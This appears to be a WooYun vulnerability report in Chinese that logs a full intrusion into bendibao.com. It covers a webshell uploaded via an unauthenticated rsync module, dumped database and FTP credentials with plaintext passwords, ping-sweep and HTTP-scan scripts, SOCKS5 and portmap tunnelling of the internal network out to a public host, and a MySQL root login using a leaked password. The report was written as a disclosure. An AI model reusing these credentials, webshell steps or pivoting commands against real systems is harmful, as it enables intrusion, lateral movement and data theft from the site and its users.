WooYun.org

rsync www.bendibao.com::

然后找个有写权限的目录把马传上去
rsync -av 1.php www.bendibao.com::webshequ/test/
http://shequ.sz.bendibao.com/test/1.php 密码aa
分站太多了。。

收集下数据库的信息：
这里只是一小部分。。
/web/shequ/config/config_global.php
$_config['db']['1']['dbhost'] = '192.168.1.200';
$_config['db']['1']['dbuser'] = 'bdbshequ';
$_config['db']['1']['dbpw'] = '25411982';
/web/shequ/config/config_global.php
array (
'host' => '192.168.1.110',
'user' => 'xmbdbinfo_user',
'pass' => 'v6fhC69GZFTPXnxu',
'name' => 'tybdbinfo',
),
'dz_db' =>
array (
'host' => '192.168.1.110',
'user' => 'whbdbinfo_db',
'pass' => 'DS7uQMvPT2TT3rWf',
'name' => 'dazhe',
),
/web/wulumuqi/config/system.php
$INI = array (
'db' =>
array (
'host' => '192.168.1.110',
'user' => 'waidibdb_usr',
'pass' => 'FqmbbSBCdtPyM8Cc',
'name' => 'wlmqbdbinfo',
),
/web/chengdu/config/system.php
'db' =>
array (
'host' => '192.168.1.110',
'user' => 'cdbdbinfo_db',
'pass' => 'mtQneVBfCTGcySSH',
'name' => 'cdbdbinfo',
),
'db2' =>
array (
'host' => '192.168.1.110',
'user' => 'whbdbinfo_db',
'pass' => 'DS7uQMvPT2TT3rWf',
'name' => 'postcode',
),
/web/www/config/config_global.php
$_config['db']['1']['dbhost'] = '192.168.1.107';
$_config['db']['1']['dbuser'] = 'bdbshequ';
$_config['db']['1']['dbpw'] = '25411982';
$_config['db']['1']['dbcharset'] = 'utf8';
$_config['db']['1']['pconnect'] = '0';
$_config['db']['1']['dbname'] = 'bdbshequ';
$_config['db']['1']['tablepre'] = 'shequ';
/web/wap/touch/config/sz.php
'db'=>array(
'host'=> '183.60.137.14,2433',
'user'=> 'wsl@bendibao.com',
'password'=> 'wsl@bdb',
'name'=> 'szadinfo',
'provider'=> 'mssql',
/web/wap/touch/config/wh.php
'db'=>array(
'host'=> '183.60.137.17',
'user'=> 'whbdbinfo_db',
'password'=> 'DS7uQMvPT2TT3rWf',
'name'=> 'whbdbinfo',
'provider'=> 'mysql',
),
/web/waidiwap/config/qth_config.php
$INI = array (
'db' =>
array (
'host' => '192.168.1.200',
'user' => 'qthbdbinfo_db',
'pass' => 'xDzQ6T1h3I2h4SsM',
'name' => 'qthbdbinfo',
),
);
ftp用户名密码：
/etc/vsftpd/vuser_passwd.txt 奇行是用户名，偶行是密码
jiahai12
jiahai2541
jiahai
jiahai#2541
xiaohei
xiaohei#2541
wusl
wsl@bdb.2541
yuding
yuding@bdb
hansen
hswhansen77
loutongwh
loutong#3657@hsw
loutongcd
loutong#3657@hsw
haitun
haitun#ht
通关命令netstat -an，发现与内网连接的机子
192.168.1.200:3306
192.168.1.201:3306
192.168.1.110:11211
192.168.1.107:3306
发现一个通用用户名密码
bdbshequ 25411982
菜刀连上，发现都长的差不多，
400多个库

数据库用户也这么多

内网探测下存活主机，扫描有点慢。。

bash pingall.sh  192.168.1 1 255 > host.txt
//pingall.sh 
#!/bin/bash
for i in `seq ${2} ${3}`
do
    ping -c 1 ${1}.${i} > /dev/null 2>&1
    if [ $? -eq 0 ]; then
        echo "${1}.${i}"
    fi
done

存活主机

192.168.1.101
192.168.1.102
192.168.1.103
192.168.1.104
192.168.1.105
192.168.1.106
192.168.1.107
192.168.1.108
192.168.1.109
192.168.1.110
192.168.1.112
192.168.1.168
192.168.1.200
192.168.1.201

扫下http服务

import urllib2
from multiprocessing.dummy import Pool as ThreadPool
import socket
socket.setdefaulttimeout(5)
def have_http(host):
    host = host.strip().rstrip('/')
    print host
    ports = ['80','81','82','83','8080','8081','9090','9092','8888','88','8083']
    for port in ports:
        url = 'http://' + host +":" +port +'/'
        try:
            text = urllib2.urlopen(url).read()
            if '<' in text:
                file('have_http','a').write(url + '\n')
        except Exception, e:
            pass
def poc(fun,name='host'):
    pool = ThreadPool(10)
    targets = file(name)
    pool.map(fun, targets)
    pool.close() 
    pool.join()
if __name__ == '__main__':
    poc(have_http)

http://192.168.1.109:80/
http://192.168.1.106:8080/
http://192.168.1.168:80/
http://192.168.1.110:8080/
http://192.168.1.107:8080/
http://192.168.1.200:8080/

后来测试了下，也就上面跑着一个管理系统，http://192.168.1.168:80/。但是在我这边看起来是坏的。。
接下来端口扫描，但是我没扫。。
插入内网。。
在内网开个socks5的服务
https://gist.github.com/yaonie/2490851
然后用portmap，做端口转发，反弹出来。虽然主机有公网IP，但是好像有墙。
内网机子 python s5.py 8282
再公网主机执行，./portmap -m 2 -p1 2222 -p2 2223
内网，./portmap -m 3 -h1 公网IP -p1 2222 -h2 127.0.0.1 -p2 8282
然后就有了个监听在2223的socks5的服务

配置下proxychains-ng
memcached

rsync 竟然没权限

rsync数据库备份信息

ftp 匿名账号

ftp ，利用前面收集的信息登录

在shell脚本中翻到另一台mysql主机
proxychains4 mysql -h183.60.137.94 -uroot -pbdb#jiahai2541

rsync 183.60.137.17::
另一台公网中的rsync